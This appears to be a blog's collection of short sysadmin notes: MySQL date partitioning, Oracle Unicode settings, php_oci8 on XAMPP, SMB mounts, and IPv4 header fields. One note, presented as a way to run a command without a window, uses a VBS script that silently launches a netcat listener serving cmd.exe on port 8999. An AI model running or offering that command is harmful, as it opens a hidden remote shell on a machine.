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mysql - create partition by date range

CREATE TABLE `register_log` (
`id`  bigint(20) NOT NULL AUTO_INCREMENT ,
`msisdn`  varchar(15) NOT NULL ,
`reg_time`  datetime NULL DEFAULT NULL ,
PRIMARY KEY (`id`,`reg_time`),
INDEX `msisdn_idx` (`msisdn`, `reg_time`) USING BTREE 
)
ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci
PARTITION BY RANGE( TO_DAYS(reg_time) ) 
(
 PARTITION p20160601 VALUES LESS THAN (TO_DAYS('2016-06-01')),
 PARTITION p20160701 VALUES LESS THAN (TO_DAYS('2016-07-01')),
 PARTITION p20160801 VALUES LESS THAN (TO_DAYS('2016-08-01')),
 PARTITION p20160901 VALUES LESS THAN (TO_DAYS('2016-09-01')),
 PARTITION p20161001 VALUES LESS THAN (TO_DAYS('2016-10-01')),
 PARTITION p20161101 VALUES LESS THAN (TO_DAYS('2016-11-01')),
 PARTITION p20161201 VALUES LESS THAN (TO_DAYS('2016-12-01')),
 PARTITION p20170101 VALUES LESS THAN (TO_DAYS('2017-01-01')),
 PARTITION p20170201 VALUES LESS THAN (TO_DAYS('2017-02-01')),
 PARTITION p20170301 VALUES LESS THAN (TO_DAYS('2017-03-01')),
 PARTITION p20170401 VALUES LESS THAN (TO_DAYS('2017-04-01')),
 PARTITION p20170501 VALUES LESS THAN (TO_DAYS('2017-05-01')),
 PARTITION p20170601 VALUES LESS THAN (TO_DAYS('2017-06-01')),
 PARTITION p20170701 VALUES LESS THAN (TO_DAYS('2017-07-01')),
 PARTITION p20170801 VALUES LESS THAN (TO_DAYS('2017-08-01')),
 PARTITION p20170901 VALUES LESS THAN (TO_DAYS('2017-09-01')),
 PARTITION p20171001 VALUES LESS THAN (TO_DAYS('2017-10-01')),
 PARTITION p20171101 VALUES LESS THAN (TO_DAYS('2017-11-01')),
 PARTITION p20171201 VALUES LESS THAN (TO_DAYS('2017-12-01')),
 PARTITION p20180101 VALUES LESS THAN (TO_DAYS('2018-01-01')),
 PARTITION p20180201 VALUES LESS THAN (TO_DAYS('2018-02-01')),
 PARTITION p20180301 VALUES LESS THAN (TO_DAYS('2018-03-01')),
 PARTITION p20180401 VALUES LESS THAN (TO_DAYS('2018-04-01')),
 PARTITION p20180501 VALUES LESS THAN (TO_DAYS('2018-05-01')),
 PARTITION p20180601 VALUES LESS THAN (TO_DAYS('2018-06-01')),
 PARTITION p20180701 VALUES LESS THAN (TO_DAYS('2018-07-01')),
 PARTITION p20180801 VALUES LESS THAN (TO_DAYS('2018-08-01')),
 PARTITION p20180901 VALUES LESS THAN (TO_DAYS('2018-09-01')),
 PARTITION p20181001 VALUES LESS THAN (TO_DAYS('2018-10-01')),
 PARTITION p20181101 VALUES LESS THAN (TO_DAYS('2018-11-01')),
 PARTITION p20181201 VALUES LESS THAN (TO_DAYS('2018-12-01')),
 PARTITION p20190101 VALUES LESS THAN (TO_DAYS('2019-01-01')),
 PARTITION p20190201 VALUES LESS THAN (TO_DAYS('2019-02-01')),
 PARTITION p20190301 VALUES LESS THAN (TO_DAYS('2019-03-01')),
 PARTITION p20190401 VALUES LESS THAN (TO_DAYS('2019-04-01')),
 PARTITION p20190501 VALUES LESS THAN (TO_DAYS('2019-05-01')),
 PARTITION p20190601 VALUES LESS THAN (TO_DAYS('2019-06-01')),
 PARTITION p20190701 VALUES LESS THAN (TO_DAYS('2019-07-01')),
 PARTITION p20190801 VALUES LESS THAN (TO_DAYS('2019-08-01')),
 PARTITION p20190901 VALUES LESS THAN (TO_DAYS('2019-09-01')),
 PARTITION p20191001 VALUES LESS THAN (TO_DAYS('2019-10-01')),
 PARTITION p20191101 VALUES LESS THAN (TO_DAYS('2019-11-01')),
 PARTITION p20191201 VALUES LESS THAN (TO_DAYS('2019-12-01'))
  );

Linux - Can't run Bash script .sh created on window system

I have a very simple .sh file, it contains some delete command to delete some files.
I create this file on Window then upload to Linux server to run.
I've already change Execute mode for this file but can not run it.

This is the important reason & an important experience :)

Because my file is created on window, so it will be saved with window format --> You have to convert it to Linux format if you want to run it.

- Open your file in Linux server: vi yourfile.sh
- Run this command to convert :set fileformat=unix

Insert unicode character into Oracle

1. Check & set some database parameters

select * from nls_database_parameters where parameter like '%SET';

2. Set environment in your PC or your Server (important)

2.1. Your PC (window)
- Right click to MyComputer > Properties > Advance system settings > Environment variables > system variables
- Click new, add new variable:
name: NLS_LANG
value: AMERICAN_AMERICA.AL32UTF8

- Try to log out/ log in again or restart your PC

2.2. Your linux server

Run command:

export NLS_LANG=AMERICAN_AMERICA.AL32UTF8

Or insert this command at the end of /etc/profile

Configure at the end of file: php/etc/php-fpm.conf

env[NLS_LANG] = $NLS_LANG

Restart php-fpm

Enable php_oci8.dll on window

Because xampp does not have 64bit version for window
So, here is the solution to resolve some issues below:
1. Warning: PHP Startup: Unable to load dynamic library 'D:\xampp\php\ext\php_oci8.dll' - %1 is not a valid Win32 application.
2. PHP Startup: Unable to load dynamic library 'D:\xampp\php\ext\php_oci8.dll' - The specified module could not be found.

Solution:
1. Download oracle instanceclient 32bit
http://www.oracle.com/technetwork/topics/winsoft-085727.html
(instantclient-basic-nt-12.1.0.2.0.zip)

2. Extract instantclient (Ex: D:\instantclient_12_1)

3. Configure Windows PATH environment variable, add more:
D:\xampp\php\ext;D:\instantclient_12_1

4. Configure php.ini, enable extension php_oci.dll
extension=php_oci8.dll (remove ; character)
Note: check your oracleclient version (11g, 12c, ...), if cannot enable php_oci8, try to download files from here: http://windows.php.net/downloads/pecl/releases/oci8/2.0.8/php_oci8-2.0.8-5.6-ts-vc11-x86.zip
extract those files to xampp/php/ext/ folder, then restart apache again

5. Restart xampp or restart PC (if necessary)

6. Check again
C:\Users\namdt5>php -m | find "oci"
oci8

Done.

run a command without open a command window

Use notepad, create a file such as: test.vbs
Content of the file:

Set oShell = CreateObject ("Wscript.Shell")

Dim strArgs
strArgs = "F:\programs\nc\nc.exe -nlvp 8999 -e cmd.exe"
oShell.Run strArgs, 0, false

Refer:
http://msdn.microsoft.com/en-us/library/d5fk67ky.aspx
http://superuser.com/questions/140047/how-to-run-a-batch-file-without-launching-a-command-window

http://www.k4linux.com/2015/08/kali-linux-20-tutorials-metasploit-first-run.html

Access windows shared folders from Linux

You’ll need the cifs-utils package in order to mount SMB shares:

sudo apt-get install cifs-utils

After that, just make a directory and mount the share to it. In this example, we will mount the folder to our Desktop for easy access.

mkdir /path/to/mount_folder
sudo mount.cifs //IP_of_winPC/Share /path/to/mount_folder -o user=windowUser

Then enter password & enjoy :)

cd /path/to/mount_folder

IPv4 datagram structure

Note:

1. Total Length

This 16-bit field defines the entire packet size, including header and data, in bytes. The minimum-length packet is 20 bytes (20-byte header + 0 bytes data) and the maximum is 65,535 bytes — the maximum value of a 16-bit word. All hosts are required to be able to reassemble datagrams of size up to 576 bytes, but most modern hosts handle much larger packets. Sometimes subnetworks impose further restrictions on the packet size, in which case datagrams must be fragmented. Fragmentation is handled in either the host or router in IPv4.

2. Identification

This field is an identification field and is primarily used for uniquely identifying the group of fragments of a single IP datagram. Some experimental work has suggested using the ID field for other purposes, such as for adding packet-tracing information to help trace datagrams with spoofed source addresses,[11] but RFC 6864 now prohibits any such use.

3. Flags

A three-bit field follows and is used to control or identify fragments. They are (in order, from high order to low order):
bit 0: Reserved; must be zero.[note 1]
bit 1: Don't Fragment (DF)
bit 2: More Fragments (MF)

Refer:

https://en.wikipedia.org/wiki/IPv4

http://www.tcpipguide.com/free/t_IPDatagramGeneralFormat.htm

OSI model